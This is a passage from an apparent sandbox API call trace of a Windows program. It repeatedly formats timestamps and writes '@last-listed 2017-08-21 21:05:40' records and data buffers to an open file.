2017-08-21 21:05:40\n") returned 0x21 [0121.460] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.460] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.460] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 67153 [0121.460] _write (in: _FileHandle=4, _Buf=0x3ddec98*, _MaxCharCount=0x199 | out: _Buf=0x3ddec98*) returned 409 [0121.460] gmtime (param_1=0x36f188) returned 0x841688 [0121.460] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.460] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.460] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.460] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.460] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.460] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 67595 [0121.460] _write (in: _FileHandle=4, _Buf=0x3ddee58*, _MaxCharCount=0x178 | out: _Buf=0x3ddee58*) returned 376 [0121.460] gmtime (param_1=0x36f188) returned 0x841688 [0121.460] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.460] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.460] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.460] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.460] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.460] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 68004 [0121.460] _write (in: _FileHandle=4, _Buf=0x3ddefe0*, _MaxCharCount=0x178 | out: _Buf=0x3ddefe0*) returned 376 [0121.460] gmtime (param_1=0x36f188) returned 0x841688 [0121.460] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.460] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.460] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.460] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.460] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.460] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 68413 [0121.460] _write (in: _FileHandle=4, _Buf=0x3de0e40*, _MaxCharCount=0x202 | out: _Buf=0x3de0e40*) returned 514 [0121.460] gmtime (param_1=0x36f188) returned 0x841688 [0121.461] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.461] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.461] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.461] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.461] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.461] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 68960 [0121.461] _write (in: _FileHandle=4, _Buf=0x3de1050*, _MaxCharCount=0x1b9 | out: _Buf=0x3de1050*) returned 441 [0121.461] gmtime (param_1=0x36f188) returned 0x841688 [0121.461] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.461] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.461] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.461] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.461] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.461] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 69434 [0121.461] _write (in: _FileHandle=4, _Buf=0x3ddf168*, _MaxCharCount=0x178 | out: _Buf=0x3ddf168*) returned 376 [0121.461] gmtime (param_1=0x36f188) returned 0x841688 [0121.461] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.461] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.461] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.461] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.461] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.461] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 69843 [0121.461] _write (in: _FileHandle=4, _Buf=0x3de1218*, _MaxCharCount=0x241 | out: _Buf=0x3de1218*) returned 577 [0121.461] gmtime (param_1=0x36f188) returned 0x841688 [0121.461] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.461] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.461] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.461] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.461] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.461] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 70453 [0121.461] _write (in: _FileHandle=4, _Buf=0x3ddf2f0*, _MaxCharCount=0x178 | out: _Buf=0x3ddf2f0*) returned 376 [0121.462] gmtime (param_1=0x36f188) returned 0x841688 [0121.462] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.462] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.462] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.462] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.462] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.462] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 70862 [0121.462] _write (in: _FileHandle=4, _Buf=0x3ddf478*, _MaxCharCount=0x178 | out: _Buf=0x3ddf478*) returned 376 [0121.462] gmtime (param_1=0x36f188) returned 0x841688 [0121.462] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.462] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.462] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.462] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.462] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.462] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 71271 [0121.462] _write (in: _FileHandle=4, _Buf=0x3ddf600*, _MaxCharCount=0x178 | out: _Buf=0x3ddf600*) returned 376 [0121.462] gmtime (param_1=0x36f188) returned 0x841688 [0121.462] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.462] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.462] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.462] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.462] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.462] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 71680 [0121.462] _write (in: _FileHandle=4, _Buf=0x3ddf788*, _MaxCharCount=0x178 | out: _Buf=0x3ddf788*) returned 376 [0121.462] gmtime (param_1=0x36f188) returned 0x841688 [0121.462] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.462] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.462] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.462] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.462] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.462] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 72089 [0121.462] _write (in: _FileHandle=4, _Buf=0x3de1468*, _MaxCharCount=0x1f2 | out: _Buf=0x3de1468*) returned 498 [0121.462] gmtime (param_1=0x36f188) returned 0x841688 [0121.463] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.463] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.463] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.463] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.463] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.463] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 72620 [0121.463] _write (in: _FileHandle=4, _Buf=0x3ddf910*, _MaxCharCount=0x178 | out: _Buf=0x3ddf910*) returned 376 [0121.463] gmtime (param_1=0x36f188) returned 0x841688 [0121.463] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.463] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.463] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.463] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.463] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.463] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 73029 [0121.463] _write (in: _FileHandle=4, _Buf=0x3ddfa98*, _MaxCharCount=0x178 | out: _Buf=0x3ddfa98*) returned 376 [0121.463] gmtime (param_1=0x36f188) returned 0x841688 [0121.463] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.463] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.463] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.463] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.463] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.463] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 73438 [0121.463] _write (in: _FileHandle=4, _Buf=0x3d4e6f8*, _MaxCharCount=0x168 | out: _Buf=0x3d4e6f8*) returned 360 [0121.463] gmtime (param_1=0x36f188) returned 0x841688 [0121.463] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.463] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.463] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.463] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.463] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.463] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 73831 [0121.463] _write (in: _FileHandle=4, _Buf=0x3ddfc20*, _MaxCharCount=0x178 | out: _Buf=0x3ddfc20*) returned 376 [0121.463] gmtime (param_1=0x36f188) returned 0x841688 [0121.464] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.464] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.464] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.464] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.464] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.464] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 74240 [0121.464] _write (in: _FileHandle=4, _Buf=0x3d4e870*, _MaxCharCount=0x168 | out: _Buf=0x3d4e870*) returned 360 [0121.464] gmtime (param_1=0x36f188) returned 0x841688 [0121.464] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.464] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.464] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.464] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.464] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.464] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 74633 [0121.464] _write (in: _FileHandle=4, _Buf=0x3ddfda8*, _MaxCharCount=0x178 | out: _Buf=0x3ddfda8*) returned 376 [0121.464] gmtime (param_1=0x36f188) returned 0x841688 [0121.464] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.464] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.464] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.464] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.464] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.464] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 75042 [0121.464] _write (in: _FileHandle=4, _Buf=0x3d4e9e8*, _MaxCharCount=0x168 | out: _Buf=0x3d4e9e8*) returned 360 [0121.464] gmtime (param_1=0x36f188) returned 0x841688 [0121.464] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.464] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.464] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.464] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.464] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.464] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 75435 [0121.464] _write (in: _FileHandle=4, _Buf=0x3ddff30*, _MaxCharCount=0x178 | out: _Buf=0x3ddff30*) returned 376 [0121.464] gmtime (param_1=0x36f188) returned 0x841688 [0121.464] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.465] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.465] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.465] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.465] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.465] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 75844 [0121.465] _write (in: _FileHandle=4, _Buf=0x3de00b8*, _MaxCharCount=0x178 | out: _Buf=0x3de00b8*) returned 376 [0121.465] gmtime (param_1=0x36f188) returned 0x841688 [0121.465] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.465] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.465] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.465] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.465] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.465] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 76253 [0121.465] _write (in: _FileHandle=4, _Buf=0x3d4eb60*, _MaxCharCount=0x168 | out: _Buf=0x3d4eb60*) returned 360 [0121.465] gmtime (param_1=0x36f188) returned 0x841688 [0121.465] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.465] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.465] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.465] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.465] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.465] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 76646 [0121.465] _write (in: _FileHandle=4, _Buf=0x3de0240*, _MaxCharCount=0x178 | out: _Buf=0x3de0240*) returned 376 [0121.465] gmtime (param_1=0x36f188) returned 0x841688 [0121.465] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.465] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.465] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.465] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.465] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.465] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 77055 [0121.465] _write (in: _FileHandle=4, _Buf=0x3c0c098*, _MaxCharCount=0x1fd | out: _Buf=0x3c0c098*) returned 509 [0121.465] gmtime (param_1=0x36f188) returned 0x841688 [0121.465] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.465] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.466] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.466] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.466] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.466] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 77597 [0121.466] _write (in: _FileHandle=4, _Buf=0x3de03c8*, _MaxCharCount=0x178 | out: _Buf=0x3de03c8*) returned 376 [0121.466] gmtime (param_1=0x36f188) returned 0x841688 [0121.466] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.466] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.466] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.466] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.466] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.466] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 78006 [0121.466] _write (in: _FileHandle=4, _Buf=0x3de1fc0*, _MaxCharCount=0x1a9 | out: _Buf=0x3de1fc0*) returned 425 [0121.466] gmtime (param_1=0x36f188) returned 0x841688 [0121.466] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.466] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.466] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.466] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.466] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.466] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 78464 [0121.466] _write (in: _FileHandle=4, _Buf=0x3de2178*, _MaxCharCount=0x1a9 | out: _Buf=0x3de2178*) returned 425 [0121.466] gmtime (param_1=0x36f188) returned 0x841688 [0121.466] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.466] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.466] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.466] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.466] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.466] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 78922 [0121.466] _write (in: _FileHandle=4, _Buf=0x3de0550*, _MaxCharCount=0x178 | out: _Buf=0x3de0550*) returned 376 [0121.466] gmtime (param_1=0x36f188) returned 0x841688 [0121.466] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.466] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 79331 [0121.467] _write (in: _FileHandle=4, _Buf=0x3de06d8*, _MaxCharCount=0x178 | out: _Buf=0x3de06d8*) returned 376 [0121.467] gmtime (param_1=0x36f188) returned 0x841688 [0121.467] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.467] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 79740 [0121.467] _write (in: _FileHandle=4, _Buf=0x3de2730*, _MaxCharCount=0x1a9 | out: _Buf=0x3de2730*) returned 425 [0121.467] gmtime (param_1=0x36f188) returned 0x841688 [0121.467] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.467] _vsnprintf (in: _DstBuf=0x36f229, _MaxCount=0x33, _Format="@last-listed %s\n", _ArgList=0x36f1dc | out: _DstBuf="@last-listed 2017-08-21 21:05:40\n") returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _write (in: _FileHandle=4, _Buf=0x36f229*, _MaxCharCount=0x21 | out: _Buf=0x36f229*) returned 33 [0121.467] strlen (_Str="@last-listed 2017-08-21 21:05:40\n") returned 0x21 [0121.467] _lseek (_FileHandle=4, _Offset=0, _Origin=1) returned 80198 [0121.467] _write (in: _FileHandle=4, _Buf=0x3c0c4a8*, _MaxCharCount=0x1fd | out: _Buf=0x3c0c4a8*) returned 509 [0121.467] gmtime (param_1=0x36f188) returned 0x841688 [0121.467] strftime (in: _Buf=0x36f215, _SizeInBytes=0x14, _Format="%Y-%m-%d %H:%M:%S", _Tm=0x841688 | out: _Buf="2017-08-21 21:05:40") returned 0x13 [0121.467] _vsnprintf (in: _DstBuf=0x36f229, 